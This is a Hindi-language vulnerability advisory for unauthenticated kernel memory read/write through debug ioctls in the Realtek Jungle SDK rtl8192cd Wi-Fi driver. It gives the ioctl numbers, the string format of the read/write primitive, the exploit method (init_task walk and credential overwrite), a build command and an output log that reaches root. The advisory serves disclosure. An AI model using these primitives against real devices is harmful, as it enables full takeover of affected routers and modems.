
CVE-2026-36355: Realtek rtl819x Jungle SDK - डिबग ioctls के माध्यम से अप्रमाणित कर्नेल मेमोरी रीड/राइट
Realtek rtl819x आउट-ऑफ-ट्री "Jungle SDK" में स्थित rtl8192cd वाई-फाई कर्नेल ड्राइवर दो IOCTL — write_mem (0x89F5) और read_mem (0x89F6) को बिना किसी एक्सेस-नियंत्रण जाँच के उजागर करता है। ड्राइवर द्वारा समर्थित किसी भी वायरलेस नेटवर्क इंटरफ़ेस को खोलने में सक्षम कोई भी स्थानीय उपयोगकर्ता मनमानी कर्नेल वर्चुअल मेमोरी पढ़ या लिख सकता है, जो सीधे रूट तक ले जाता है।
हैंडलर 8192cd_cfg.h में _IOCTL_DEBUG_CMD_ द्वारा गेटेड हैं, जो बिना शर्त परिभाषित है (कोई #ifdef DEBUG नहीं), इसलिए डीबग कमांड सेट सभी प्रोडक्शन बिल्ड में संकलित होता है।
एक संदर्भ एक्सप्लॉइट (kpwn) एक अविशेषाधिकार प्राप्त शेल से uid=0 प्राप्त करता है, बिना किसी हार्डकोडेड पते के — task_struct लेआउट और init_task स्थान दोनों रनटाइम पर स्वतः पहचाने जाते हैं, जिससे यह कर्नेल संस्करणों और OEM बिल्डों में पोर्टेबल बन जाता है।
यह कमजोरी Realtek rtl819x Jungle SDK कर्नेल वाई-फाई ड्राइवर में है, सभी ज्ञात संस्करण v3.4.14B तक। प्रकटीकरण के समय कोई फिक्स नहीं। मेनलाइन Linux rtlwifi / rtw88 / rtw89 अलग कोडबेस हैं और प्रभावित नहीं हैं।
साझा ड्राइवर कोर कई वेरिएंट में संकलित होता है (rtl8192cd, rtl8192es, rtl8192ee, rtl8192fe, rtl8188ee, आदि)। कोई भी Jungle SDK बिल्ड जिसमें वाई-फाई ड्राइवर शामिल है, प्रभावित है।
Realtek Jungle SDK OEM अनुबंधों के तहत व्यापक रूप से पुनर्वितरित किया जाता है। CVE-2021-35395 विक्रेता सूची (जो उसी SDK के एक अलग, यूजरस्पेस घटक को लक्षित करता था) में प्रलेखित विक्रेताओं में D-Link, TOTOLINK, Tenda, NEC, I-O DATA, Elecom, Buffalo, Humax, H3C और IP-COM शामिल हैं। प्रत्येक विशिष्ट उत्पाद लाइन कमजोर कर्नेल ड्राइवर भेजती है या नहीं, इसके लिए प्रति-उत्पाद GPL स्रोत रिलीज़ का निरीक्षण आवश्यक है; यह एडवाइज़री स्वतंत्र सत्यापन के बिना यह दावा नहीं करती।
| डिवाइस | Ortel 4G LTE CPE (OEM: MeiG Smart FORGE_SLT711) |
| SoC | Qualcomm MDM9607, ARMv7 Cortex-A7 |
| कर्नेल | Linux 3.18.48 |
| मॉड्यूल |
पुष्टि की गई: मॉड्यूल .bss में 0xDEADBEEF की लिखाई, रीड-बैक और पुनर्स्थापना के साथ; एक अविशेषाधिकार प्राप्त शेल से init_task वॉक और क्रेडेंशियल ओवरराइट के माध्यम से uid=1000 से uid=0 तक पूर्ण LPE।
8192cd_cfg.h में:
#define _IOCTL_DEBUG_CMD_
#ifdef DEBUG द्वारा गेटेड नहीं। डीबग कमांड सेट हर प्रोडक्शन बिल्ड में भेजा जाता है।
ड्राइवर का rtl_ioctl() डिस्पैचर 0x89F5 और 0x89F6 (वायरलेस ड्राइवरों द्वारा वेंडर एक्सटेंशन के लिए उपयोग की जाने वाली मानक SIOCDEVPRIVATE+5/+6 प्राइवेट-IOCTL रेंज में) को write_mem और read_mem पर रूट करता है। हैंडलर उपयोगकर्ता द्वारा आपूर्ति की गई स्ट्रिंग को पार्स करते हैं:
dw,<addr>,<count> — कर्नेल वर्चुअल पता addr से count 32-बिट शब्द पढ़ेंdw,<addr>,<count>,<value> — value के count 32-बिट शब्द addr पर लिखेंपता _atoi(base 16) के साथ पार्स किया जाता है, कर्नेल वर्चुअल एड्रेस स्पेस के विरुद्ध memcpy() में पारित किया जाता है, और परिणाम copy_to_user() के माध्यम से वापस भेजा जाता है। वहाँ है:
capable() जाँच नहींaccess_ok() जाँच नहीं.bss में एक ही 2000-बाइट वैश्विक बफर (tmpbuf1) साझा करते हैंरीड प्रिमिटिव प्रति कॉल 128 बाइट्स तक सीमित है; राइट प्रिमिटिव मनमानी लंबाई स्वीकार करता है।
यही एक्सेस-नियंत्रण अंतर डीबग सेट के अन्य हैंडलरों पर भी लागू होता है (हार्डवेयर रजिस्टर R/W 0x89F3/0x89F4/0x89F8–0x89FD के माध्यम से, MIB राइट 0x89F1 के माध्यम से, eFuse R/W, मैन्युफैक्चरिंग टेस्ट मोड)। वे उसी कोड पथ के माध्यम से पहुंच योग्य हैं और इस बग को पैच करने वाले किसी भी व्यक्ति द्वारा पूर्ण ऑडिट की आवश्यकता है।

संदर्भ एक्सप्लॉइट kpwn.c (इस एडवाइज़री के साथ प्रकाशित):
.data के ब्रूट-फोर्स स्कैन द्वारा स्थित init_task को चलकर task_struct ऑफसेट (comm, cred, tasks, pid) स्वतः पहचानता है।/sys/class/net/* को प्रोब करके कमजोर इंटरफ़ेस स्वतः पहचानता है।/proc/kallsyms पठनीय हो तो 44 IOCTL, kptr_restrict=2 होने पर ~7600 IOCTL (पूर्ण .data स्कैन पथ)। हर परीक्षण रन पर बिना शर्त रूट शेल देता है।# Build:
arm-linux-gnueabi-gcc -static -O2 -o kpwn kpwn.c
# Run as unprivileged user:
$ id
uid=1000(pwn) gid=3003(inet) ...
$ /tmp/kpwn
kpwn — RTL8192CD kernel LPE
[*] Scanning interfaces...
[+] wlan0 — read primitive confirmed
[*] Resolving init_task...
[+] init_task @ 0xc08ecb38
[+] comm=0x3a8 cred=0x3a4 tasks=0x250 pid=0x2c0
[+] cred=0xed3a4500 uid=1000 gid=3003
[*] Overwriting credentials...
[+] uid=0 euid=0 gid=0 egid=0
*** GOT ROOT *** uid=1000 -> 0 (44 ioctls)
# id
uid=0(root) gid=0(root) groups=0(root)
rtl8192es.ko| दिनांक | 2026-02-23 |